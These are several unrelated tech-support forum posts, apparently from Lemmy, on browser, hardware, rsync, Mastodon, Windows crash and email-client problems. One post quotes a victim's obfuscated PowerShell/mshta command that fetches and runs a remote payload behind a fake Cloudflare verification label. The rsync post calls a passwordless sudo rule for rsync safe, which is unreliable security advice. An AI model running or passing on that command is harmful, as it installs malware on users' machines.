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This is for chromium and librewolf(firefox) on arch linux; do other people's os s have this too? The unicode characters are shavian

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Edit: Clearing the cache fixed it, thanks!

This has been occurring for a while now, and I've recently noticed that:

  • It only happens when logged in (not incognito mode)
  • It only happens on my desktop browser, not Jerboa (I haven't tested a mobile browser)

Especially looking to see if it happens on other instances/other browsers/other mobile clients

Information:

  • Desktop OS: Windows 10
  • Desktop browser: Firefox
  • Mobile client: Jerboa
  • Instance: lemmy.dbzer0.com

I initially just chalked this up to the instance being slow, but I recently noticed it not happening when logged out

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i'm looking for a cheap graphics card that doesnt produce much heat. amd prefered. i currently have a saphire rx470 that cooks the whole room. this pc is used for web browsing and video streaming. no gaming. recommendations appreciated!!

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I googled but all I found were people trying to do it the other way 'round (lemmy posts on their mastodon feed)

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I'm about to be unemployed, and I'm looking to get some certificates for either Tableau or Power BI to make myself more marketable to prospective employers. I use Tableau in my current workplace and consider myself a "Beginner". I'm not great at it, but not horrible either (I can more make things look pretty than write extensive calculated fields).

I've never used Power BI, but based on a bit of research, it seems like it's more commonly used in companies that are not already focused on data analytics. I've watched a few videos on Power BI, but never used the app myself. It definitely looks more user-friendly than Tableau, though.

Can anyone offer any insight as to which app would be more marketable to have a certificate in when looking for entry-level jobs? Thanks you!

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Its been going on for months. Everything else casts fine and I've tried reinstalling the apps, using different devices and doing it by Mirroring my screen. Casting brings disney up but I get spinning wheel of death then nothing

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Over the week, I've been slowly moving from mdadm raid to ZFS. My process was:

  • create ZFS pool on secondary server
  • rsync all files over to zfs server
  • Nuke mdadm array on primary and set up zpool
  • ssh dataset from secondary server to primary server.

This is 15tb of data and even over gigabit, it took a day and a half to transfer. It finally finished tonight, and somehow I'm the owner and group of every single file. In addition to this generally being weird, it also broke some docker volume binds, and I generally don't want it.

It looks like the same is the case for the files on the secondary server too, so it must have happened during the initial rsync.

Fortunately, I also rsynced to some offline drives which kept ownership fine.

Anyway, I'm trying to figure out how the hell this happened. The rsync command I used was:

sudo rsync -ahu --delete --info=progress2 -e ssh /mnt/MONSTERDRIVE/ ch00f@192.168.1.65:/bluepool/monsterdrive/

At least I'm pretty sure this is what I used. I had to reverse-i-search to find it.

This is similar to the command I use when backing up to cold storage which has worked fine in the past. My understanding is that -a is shorthand for -rlptgoD where -o is "preserve owner."

So how could this have happened?

Does it matter that the secondary server doesn't have the same users as the primary server?

[SOLUTION]

From what I read online, using rsync over ssh as I did does not establish root permissions on the receiving end. So while I have the rights to modify the owners on the local side, I can only set the owners to the user I ssh'd as on the receiving side. Thus, I was the owner of every file.

The solution is two fold. First, I need to specify --rsync-path "sudo rsync" This tells the receiving side to use rsync as a super user.

Secondly, because there is no way to enter a super user password on the receiving side, I added a file to /etc/sudoers.d/ with

ch00f ALL=NOPASSWD:/usr/bin/rsync

This makes it so that the ch00f user doesn't need to enter a password when running rsync as a super user.

I don't think this is a security hole, and it got it to work.

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Basically the issue is that when viewing video replay, you can make it go up to 16x faster.. but there are essentially no other options.

Meaning, there aren't even notifications or event recordings.

Meaning, if you want to find out who keyed your car, you will be potentially watching video footage all day, depending on if you're sure on exactly which day it happened or not.

Soo is there any somewhat feasible way to fix this and how would it work (of course getting new cameras are out of the question for the building)

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SOLUTION HERE (by @just_another_person@lemmy.world): https://lemmy.abnormalbeings.space/post/804932?scrollToComments=true

You have a dependency discrepancy with your local node modules and your global. You should be running this in a node virtual environment so all of the local projects dependencies don’t conflict with global.

https://stackoverflow.com/questions/3653495/is-there-a-virtual-environment-for-node-js

https://www.develves.net/blogs/asd/2016-04-28-using-virtual-environments-nodejs/

cross-posted from: https://lemmy.abnormalbeings.space/post/804932

I have searched around for answers to this, but so far, the solutions I found and tried have not been working for me. Thankfully, the update isn't that critical, so time is not of the essence as of now. But I fear, the problem will only persist.

So, bit of a headscratcher: I am following the guide to upgrade (no Docker) from here.

Simple enough, right? Sadly, I keep getting:

~/live$ RAILS_ENV=production bundle exec rails assets:precompile
I, [2025-04-03T20:30:30.072648 #981372]  INFO -- : [dotenv] Loaded .env.production
Mastodon and Webpacker requires Yarn ">=4 <5" and you are using 1.22.22
Exiting!

So, the proposed solution? Using corepack as intended. That, at first, upon entering "corpack prepare" and "corepack enable" in succession, seemed to run silently and without errors/warnings.

But it changed nothing at all for the error message. Prompting me to search around, haphazardly try to apply fixes, trying to remove and reinstall yarn, "the usual". My last attempt was to globally remove yarn and corepack with npm and then re-install both. Since then, a new, exciting error is happening:

~/live$ corepack enable
Internal Error: EACCES: permission denied, symlink '../lib/node_modules/corepack/dist/pnpm.js' -'/usr/bin/pnpm'
    at async Object.symlink (node:internal/fs/promises:1005:10)
    at async EnableCommand.generatePosixLink (/usr/lib/node_modules/corepack/dist/lib/corepack.cjs:23156:5)
    at async Promise.all (index 0)
    at async EnableCommand.execute (/usr/lib/node_modules/corepack/dist/lib/corepack.cjs:23143:5)
    at async EnableCommand.validateAndExecute (/usr/lib/node_modules/corepack/dist/lib/corepack.cjs:20258:22)
    at async _Cli.run (/usr/lib/node_modules/corepack/dist/lib/corepack.cjs:21195:18)
    at async Object.runMain (/usr/lib/node_modules/corepack/dist/lib/corepack.cjs:23642:19)

Oh, and when trying to install yarn and corepack, now, I get:

~/live$ npm install yarn
npm error code EUNSUPPORTEDPROTOCOL
npm error Unsupported URL Type "patch:": patch:babel-plugin-lodash@npm%3A3.3.4#~/.yarn/patches/babel-plugin-lodash-npm-3.3.4-c7161075b6.patch
npm error A complete log of this run can be found in: /home/mastodon/.npm/_logs/2025-04-03T19_54_12_827Z-debug-0.log

~/live$ npm install corepack
npm error code EUNSUPPORTEDPROTOCOL
npm error Unsupported URL Type "patch:": patch:babel-plugin-lodash@npm%3A3.3.4#~/.yarn/patches/babel-plugin-lodash-npm-3.3.4-c7161075b6.patch
npm error A complete log of this run can be found in: /home/mastodon/.npm/_logs/2025-04-03T19_54_25_678Z-debug-0.log

the logs in question:

$ cat /home/mastodon/.npm/_logs/2025-04-03T19_54_12_827Z-debug-0.log 
0 verbose cli /usr/bin/node /usr/bin/npm
1 info using npm@11.2.0
2 info using node@v22.14.0
3 silly config load:file:/usr/lib/node_modules/npm/npmrc
4 silly config load:file:/home/mastodon/live/.npmrc
5 silly config load:file:/home/mastodon/.npmrc
6 silly config load:file:/usr/etc/npmrc
7 verbose title npm install yarn
8 verbose argv "install" "yarn"
9 verbose logfile logs-max:10 dir:/home/mastodon/.npm/_logs/2025-04-03T19_54_12_827Z-
10 verbose logfile /home/mastodon/.npm/_logs/2025-04-03T19_54_12_827Z-debug-0.log
11 silly logfile start cleaning logs, removing 1 files
12 silly packumentCache heap:4345298944 maxSize:1086324736 maxEntrySize:543162368
13 silly logfile done cleaning log files
14 silly idealTree buildDeps
15 verbose stack Error: Unsupported URL Type "patch:": patch:babel-plugin-lodash@npm%3A3.3.4#~/.yarn/patches/babel-plugin-lodash-npm-3.3.4-c7161075b6.patch
15 verbose stack     at unsupportedURLType (/usr/lib/node_modules/npm/node_modules/npm-package-arg/lib/npa.js:369:15)
15 verbose stack     at fromURL (/usr/lib/node_modules/npm/node_modules/npm-package-arg/lib/npa.js:428:13)
15 verbose stack     at Function.resolve (/usr/lib/node_modules/npm/node_modules/npm-package-arg/lib/npa.js:110:12)
15 verbose stack     at #nodeFromEdge (/usr/lib/node_modules/npm/node_modules/@npmcli/arborist/lib/arborist/build-ideal-tree.js:1039:22)
15 verbose stack     at #buildDepStep (/usr/lib/node_modules/npm/node_modules/@npmcli/arborist/lib/arborist/build-ideal-tree.js:904:35)
15 verbose stack     at async Arborist.buildIdealTree (/usr/lib/node_modules/npm/node_modules/@npmcli/arborist/lib/arborist/build-ideal-tree.js:181:7)
15 verbose stack     at async Promise.all (index 1)
15 verbose stack     at async Arborist.reify (/usr/lib/node_modules/npm/node_modules/@npmcli/arborist/lib/arborist/reify.js:131:5)
15 verbose stack     at async Install.exec (/usr/lib/node_modules/npm/lib/commands/install.js:149:5)
15 verbose stack     at async Npm.exec (/usr/lib/node_modules/npm/lib/npm.js:208:9)
16 error code EUNSUPPORTEDPROTOCOL
17 error Unsupported URL Type "patch:": patch:babel-plugin-lodash@npm%3A3.3.4#~/.yarn/patches/babel-plugin-lodash-npm-3.3.4-c7161075b6.patch
18 silly unfinished npm timer reify 1743710053061
19 silly unfinished npm timer reify:loadTrees 1743710053064
20 silly unfinished npm timer idealTree:buildDeps 1743710057205
21 silly unfinished npm timer idealTree:#root 1743710057206
22 verbose cwd /home/mastodon/live
23 verbose os Linux 6.1.0-31-amd64
24 verbose node v22.14.0
25 verbose npm  v11.2.0
26 verbose exit 1
27 verbose code 1
28 error A complete log of this run can be found in: /home/mastodon/.npm/_logs/2025-04-03T19_54_12_827Z-debug-0.log

~/live$ cat /home/mastodon/.npm/_logs/2025-04-03T19_54_25_678Z-debug-0.log 
0 verbose cli /usr/bin/node /usr/bin/npm
1 info using npm@11.2.0
2 info using node@v22.14.0
3 silly config load:file:/usr/lib/node_modules/npm/npmrc
4 silly config load:file:/home/mastodon/live/.npmrc
5 silly config load:file:/home/mastodon/.npmrc
6 silly config load:file:/usr/etc/npmrc
7 verbose title npm install corepack
8 verbose argv "install" "corepack"
9 verbose logfile logs-max:10 dir:/home/mastodon/.npm/_logs/2025-04-03T19_54_25_678Z-
10 verbose logfile /home/mastodon/.npm/_logs/2025-04-03T19_54_25_678Z-debug-0.log
11 silly logfile start cleaning logs, removing 1 files
12 silly packumentCache heap:4345298944 maxSize:1086324736 maxEntrySize:543162368
13 silly logfile done cleaning log files
14 silly idealTree buildDeps
15 verbose stack Error: Unsupported URL Type "patch:": patch:babel-plugin-lodash@npm%3A3.3.4#~/.yarn/patches/babel-plugin-lodash-npm-3.3.4-c7161075b6.patch
15 verbose stack     at unsupportedURLType (/usr/lib/node_modules/npm/node_modules/npm-package-arg/lib/npa.js:369:15)
15 verbose stack     at fromURL (/usr/lib/node_modules/npm/node_modules/npm-package-arg/lib/npa.js:428:13)
15 verbose stack     at Function.resolve (/usr/lib/node_modules/npm/node_modules/npm-package-arg/lib/npa.js:110:12)
15 verbose stack     at #nodeFromEdge (/usr/lib/node_modules/npm/node_modules/@npmcli/arborist/lib/arborist/build-ideal-tree.js:1039:22)
15 verbose stack     at #buildDepStep (/usr/lib/node_modules/npm/node_modules/@npmcli/arborist/lib/arborist/build-ideal-tree.js:904:35)
15 verbose stack     at async Arborist.buildIdealTree (/usr/lib/node_modules/npm/node_modules/@npmcli/arborist/lib/arborist/build-ideal-tree.js:181:7)
15 verbose stack     at async Promise.all (index 1)
15 verbose stack     at async Arborist.reify (/usr/lib/node_modules/npm/node_modules/@npmcli/arborist/lib/arborist/reify.js:131:5)
15 verbose stack     at async Install.exec (/usr/lib/node_modules/npm/lib/commands/install.js:149:5)
15 verbose stack     at async Npm.exec (/usr/lib/node_modules/npm/lib/npm.js:208:9)
16 error code EUNSUPPORTEDPROTOCOL
17 error Unsupported URL Type "patch:": patch:babel-plugin-lodash@npm%3A3.3.4#~/.yarn/patches/babel-plugin-lodash-npm-3.3.4-c7161075b6.patch
18 silly unfinished npm timer reify 1743710065916
19 silly unfinished npm timer reify:loadTrees 1743710065919
20 silly unfinished npm timer idealTree:buildDeps 1743710070343
21 silly unfinished npm timer idealTree:#root 1743710070344
22 verbose cwd /home/mastodon/live
23 verbose os Linux 6.1.0-31-amd64
24 verbose node v22.14.0
25 verbose npm  v11.2.0
26 verbose exit 1
27 verbose code 1
28 error A complete log of this run can be found in: /home/mastodon/.npm/_logs/2025-04-03T19_54_25_678Z-debug-0.log

Thankfully, mastodon is still working, no database issues, nothing indicating I fucked up beyond repair yet.

I am a bit at a loss, unfortunately, but eager to use my fuckup as a learning experience - am glad to hear any and all more experienced folk chiming in!___

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I accidentally executed

POwErsHeLL -w 1 & \W*\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\S*2\\\\\\\\\\\m*ht*e https://mnjk-jk.bsdfg-zmp-q-n.shop/1.mp4 # ✅ ''Ι am nοt a rοbοt: Clοudflare Verificatiοn ΙD: 715921''

via Windows Run a couple of days ago. Realized what I had done today after seeing a post on it.

What should I do? is full system wipe necessary? or can I remove it somehow?

If I need to do a system format what about attached drives and other devices on the network?

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It seems to be related to some advertising push from a partner named Alfonso that is gathering information cross-platform anything that appears on your screen and pushing advertising to you during playback.

Hopefully not, but that's what it looks like from early reading.

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Hey all, I'm having an issue with my ~2009 MacBook Pro that refuses to turn on, and I could really use some help. Here are the details:

Symptoms:

The MacBook Pro doesn't turn on at all.

The charger stays green, even with the battery in.

When I connect the battery, all the battery indicator dots flash on, then turn off.

The MagSafe connector shows 12V on the pins, so the charger seems to be supplying power.

I’ve removed the battery, and the issue persists.

The battery appears to have a swelling issue.

Troubleshooting so far:

SMC & NVRAM Reset: Tried both, but still no luck. What should be noted though is that when I do an SMC reset for a few seconds the battery level indicator light will flash at one bar as if the battery is empty. This only happens when the batteries are moved.

Charger Works: I’ve tested the charger with another MacBook, so I know it’s functioning properly.

Battery Removed: Even with the battery taken out, it still won’t power on. Also note that the battery appears swollen. Do this, I will probably turn it in.

Board Inspection: I’ve inspected the board visually, but nothing seems wrong. I haven’t taken it apart more than that yet.

OS: The MacBook ran Linux with rEFInd as the boot manager.

Additional Info:

I’m not sure if the swollen battery could be related to the issue, but it seems worth noting.

I haven’t gone deep into the MacBook to check for possible other issues yet.

Anyone run into a similar problem or have any suggestions on what I should check next? I would really appreciate any help.

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submitted 1 week ago* (last edited 1 week ago) by x4740N@lemm.ee to c/techsupport@lemmy.world
 
 

I seem to have random BSOD's that seem to suggest memory errors but windows memory diagnostics, memtest86 and memtest86+ all passed with no errors

the BSOD's seemed to be more frequent with memory context restore enabled in the bios and i have since disabled it and the bsods are less frequent

i think the memory context restore was a separate issue that caused the same kind of memory related BSOD's

but now i still do occasionally get BSOD's

event viewer has the following trail each time the BSOD happens

it may also be related to qbittorrent as both times I've witnessed it happening i had qbittorrent open downloading

Kernel-PnP	219	(212)

The driver \Driver\WUDFRd failed to load.
Device: HID\VID_1377&PID_600D&MI_03&Col01\b&10c33cb3&0&0000
Status: 0xC0000365

With Nirsoft DevManView and device manager with the devices by container view I've narrowed it down to "HID-compliant headset" under my heaphones (which are senheiser PXC 550-II if thats relevant)

I have disabled "HID-compliant headset" for now to see if that fixes it but have to wait and see

Ntfs (Microsoft-Windows-Ntfs)	98

Volume G: (\Device\HarddiskVolume8) is healthy.  No action is needed.
Wininit	14

Credential Guard configuration:

Registry Configuration: 0x0
Test Configuration: 0
Auto Enablement: 0
IsolatedUserMode	5

Secure Trustlet NULL Id 0 and Pid 0 started with status STATUS_SUCCESS.
IsolatedUserMode	1

Secure Trustlet \??\C:\WINDOWS\system32\lsaiso.exe Id 1 and Pid 1472 started with status STATUS_SUCCESS.
Wininit	18

VBS Key Isolation was started and will protect VSM-isolated keys.
Wininit	12

LSASS.exe was started as a protected process with level: 4.
BugCheck	1001

The computer has rebooted from a bugcheck.  The bugcheck was: 0x00000050 (0xffff920c27c60152, 0x0000000000000000, 0xfffff8008571010a, 0x0000000000000000). A dump was saved in: C:\WINDOWS\Minidump\032825-18031-01.dmp. Report Id: a603ed54-86ee-4fde-b52d-a81997e67a94.

This is where the computer crashes and reboots

EDIT:

Using Nirsoft BlueScreenView i was able to get the following information:

spoiler

A problem has been detected and Windows has been shut down to prevent damage
to your computer.

The problem seems to be caused by the following file: ntoskrnl.exe

PAGE_FAULT_IN_NONPAGED_AREA

If this is the first time you've seen this stop error screen,
restart your computer. If this screen appears again, follow
these steps:

Check to make sure any new hardware or software is properly installed.
If this is a new installation, ask your hardware or software manufacturer
for any Windows updates you might need.

If problems continue, disable or remove any newly installed hardware
or software. Disable BIOS memory options such as caching or shadowing.
If you need to use safe mode to remove or disable components, restart
your computer, press F8 to select Advanced Startup Options, and then
select Safe Mode.

Technical Information:

*** STOP: 0x00000050 (0xffff920c27c60152, 0x0000000000000000, 0xfffff8008571010a, 
0x0000000000000000)

*** ntoskrnl.exe - Address 0xfffff800858b7ce0 base at 0xfffff80085400000 DateStamp 
0x783a7a83

spoiler

A problem has been detected and Windows has been shut down to prevent damage
to your computer.

The problem seems to be caused by the following file: ntoskrnl.exe



If this is the first time you've seen this stop error screen,
restart your computer. If this screen appears again, follow
these steps:

Check to make sure any new hardware or software is properly installed.
If this is a new installation, ask your hardware or software manufacturer
for any Windows updates you might need.

If problems continue, disable or remove any newly installed hardware
or software. Disable BIOS memory options such as caching or shadowing.
If you need to use safe mode to remove or disable components, restart
your computer, press F8 to select Advanced Startup Options, and then
select Safe Mode.

Technical Information:

*** STOP: 0x00000133 (0x0000000000000001, 0x0000000000001e00, 0xfffff805ae3c33a0, 
0x0000000000000000)

*** ntoskrnl.exe - Address 0xfffff805ad8b7ce0 base at 0xfffff805ad400000 DateStamp 
0x783a7a83

spoiler

A problem has been detected and Windows has been shut down to prevent damage
to your computer.

The problem seems to be caused by the following file: ntoskrnl.exe

SYSTEM_SERVICE_EXCEPTION

If this is the first time you've seen this stop error screen,
restart your computer. If this screen appears again, follow
these steps:

Check to make sure any new hardware or software is properly installed.
If this is a new installation, ask your hardware or software manufacturer
for any Windows updates you might need.

If problems continue, disable or remove any newly installed hardware
or software. Disable BIOS memory options such as caching or shadowing.
If you need to use safe mode to remove or disable components, restart
your computer, press F8 to select Advanced Startup Options, and then
select Safe Mode.

Technical Information:

*** STOP: 0x0000003b (0x00000000c0000005, 0xfffff8049c681250, 0xffffad0146de08d0, 
0x0000000000000000)

*** ntoskrnl.exe - Address 0xfffff8049c4b7ce0 base at 0xfffff8049c000000 DateStamp 
0x783a7a83

"ntoskrnl.exe" shows up consistently in all the dumps listed in BlueScreenView

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cross-posted from: https://lemmy.abnormalbeings.space/post/578806

So, just to say immediately: I guess if I went deep into the frontend code, this will of course be possible, but I am in this case just talking about an easy way from the admin settings as such.

Currently, my aim is to have a unified little "bar" appearing in all three of my Fediverse services, this is what it's appearing as in PeerTube and Lemmy respectively:

With the images linking to the respective instances on the server.

For mastodon (admittedly, also the service I am using the least, myself) - I haven't found anything on how this could be achieved easily - with my searches so far all just providing results for users wanting to put stuff on their profiles.

Currently, trying Markdown Syntax as I use it for Lemmy does not work, no images show up when putting it in the about page or short description. (I guess not enabled for security reasons in the underlying code?)

If you have any experience or also just a good guess, that is very much appreciated! :)

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I hope this is the right place for this. I just set up my new Titan Pocket and things are going pretty smoothly, except that the native launcher (quickstep) keeps overriding the one i installed (Niagara).

I have disabled all permissions for the former, but i cant disable or uninstall the app. Niagara has all default permissions and background data enabled.

Any idea what to try next? I'm very particular about my phone interface, i need to fix this lol. TIA

(I have no experience rooting my phones etc)

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I recently switched from Outlook to Thunderbird. I constantly used a VBA script to resend emails if the recipient hadn't replied by a set time and date. The VBA script can be found here. Is there a Thunderbird add-on that can achieve similar results?

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I've downloaded an entire "All Mail" folder for a gmail account using IMAP to a locally running Thunderbird v136.0.1 desktop client. Global search works, but it fails to find some messages that are easily found in a folder-specific search. This All Mail folder has 165,881 messages, but the activity manager shows "Indexed 73955 messages..." after a full rebuild, I think meaning that indexing finished and it only indexed some of those 165,881 messages. Why doesn't it index all of them? I'm not getting any errors, although I haven't enabled any special logging and I don't have anything open except the main email window view and the activity manager. Is there some limit on how big global-messages-db.sqlite can be (mine is 468MiB), how many messages can be processed, or something like that?

Possibly related: https://bugzilla.mozilla.org/show_bug.cgi?id=1813306

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I see the GRUB menu, then it goes to an inactive black screen. If I select recovery then resume, it works fine. As this is supposed to be a remote machine, the problem defeats the purpose. I've heard this is usually a GPU drivers issue, so I followed the suggestions here: https://documentation.ubuntu.com/server/how-to/graphics/install-nvidia-drivers/index.html

and here (I'm running 22.04 and can't update, separate issue though): https://askubuntu.com/questions/760934/graphics-issues-after-while-installing-ubuntu-16-04-16-10-with-nvidia-graphics

Yet I still have the problem with a black screen. While I'd like it to "just work", I'm also open to extreme measures including...

-removing the GPU (assuming that would help) -having a script run that auto-selects recovery then resume then logs in on my behalf (I'd need help figuring that out though)

I also updated the grub file after adding "nomodeset", that didn't fix it either.

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submitted 2 weeks ago* (last edited 2 weeks ago) by pirateman@lemmy.world to c/techsupport@lemmy.world
 
 

Hello everyone. I've currently been experiencing crashes when playing certain games. After a while, I realized that the only games where this happened were Unreal Engine games (Fortnite on Windows, Helldivers 2, Marvel Rivals and PayDay 3 on both Windows and Linux). Originally I believed that the problems were game related (the problems began when new Fortnite and Helldivers seasons began) but now that I noticed that Payday 3 crashes too I realized that all of these games are made in Unreal. These are my specs:

GPU: AMD RX 6600 XT CPU: AMD Ryzen 5 7600 RAM: 2x16 GB XPG (not sure about speed)

Some more info:

  • Other games seem to work fine. I've mostly played God of War, GoW: Ragnarok, Doom Eternal and Street Fighter 6.
  • The issue doesn't seem to be related to workload. Fortnite and Payday 3 will handle loading stuff and having may enemies on screen only to crash on calm moments.
  • I ran Unigine Heaven 4.0 and it worked fine, I ran it in high and ultra settings and got around 200 fps. I let it run for a few minutes, nothing happened other than my PC sounding like a turbine.
  • I have not messed around with overclocking or undervolting the GPU or CPU. The PC is second-hand (only 1 year of not intensive use) and the guy was not tech-savvy, so I don't expect him to have messed around with anything like that either.

I would really appreciate any help, thanks in advance.

Edit to add some info about the crashes: most of the time the game just crashes, it closes itself and that's it. Every now and then (not most of the time) the game takes my entire computer with it. My whole computer freezes with the last second of sound being played on repeat and then it shuts down and reboots. I could cope with this if it was just crashes but I'm afraid that this is causing actual damage to my GPU and PC in general.

Final edit: after running integrity tests and using OCCT I was able to figure out that one of my RAM sticks was faulty. After removing it I was able to play Fortnite for a couple of hours without errors.

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I looked into wf.msc (windows' firewall) and it does not allow any prioritization. So you cannot exclude all traffic except from two exceptions. Any broad block rule supercedes any specific allow rule.

I also tried setting up firewall rules using powershell wich allows more finegrained control. But that failed as well....

I want to connect android studio to github so i can work on my FOSS apps from anywhere in the world. I also want to use virtualbox to connect to the great onlines safely.

How did you resolve this issue?

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cross-posted from: https://lemm.ee/post/58872408

Hey,

So I've been connecting to an ftp server which I worked on with apps like GNOME Builder, and backed up the contents of with Pika Backup, connecting to it via the GNOME Files application, Nautilus, from the Network tab.

Recently, apps stopped being able to read files I opened with the file picker hosted on the ftp server, and after a lot of debugging I realised that was because Nautilus had for some reason switched from mounting the files under /run/user/1000/gvfs/ftp_address to the more abstract path ftp://ftp_address, under the virtual directory computer:///. Now apps can't read those files as they are not mounted under an actual path.

I couldn't find a way in Nautilus, FileZilla, or Dolphin to mount the ftp server files under a specified path /mnt/ftp_username, or even to put it back to the unwieldy but still working path it was under before, using a GUI.

I was recommended by an LLM assistant to use the curlftpfs command, but even with several variations of a command such as the following

sudo curlftpfs -v -o "uid=$UID,gid=$GID" ftp://username:correct%20password@ftp_address /mnt/ftp_username

it always gave the same error

Error setting curl: 

I'm not sure what else to try, could I have some advice please?

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Hi, i don't know if its the right community to post this. Basically i had my os sensitivity on master plus software set to 5 before i knew what it was and used 600dpi. then i realized why 400dpi felt so slow and i changed to 400 and os sensitivity 6. at every reboot it change just the os sensitivity to 5 but kept every other change. tried saving a profile, updating software (1.9.6) but still problem persist. i tried searching and it seems to be a know problem but didnt found solution. no big deal to change every reboot but i'll still try if anyone have a solution. thanks in advance to anybody who will respond:)

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ive tried endless amounts of examples scripts ive found online but none work on autohotkey v2.

im playing a game that requires me to hold control to jump but its hurting my finger. Ideally i want to press a shortcut like Shift + ` or double click the control key and have it leave the control key pressed until i toggle it off with the same shortcut or double pressing control.

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Hello everyone. First post in tech support.

I have been using Joplin and fed up with its accumulating errors. What alternatives that support similar features do you recommend? (ranking from most important)

  • Can insert image
  • Hyperlink by markdown language
  • Supports LaTeX
  • Supports Mermaid flowchart
  • Export to PDF
  • Can handle a lot of notes
  • Windows and Android
  • Migrate a chunk of markdown files all at once

Thanks a lot. Have a nice day :)

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cross-posted from: https://lemmy.radio/post/6473282

One of our fellow amateurs needs help to recover their Google account. They have the credentials, but no longer have access to their recovery phone number.

Does anyone have any suggestions on how to proceed? My Google-fu is only unearthing unhelpful forum posts without any firm process described by Google.

Anyone have any links or contacts?

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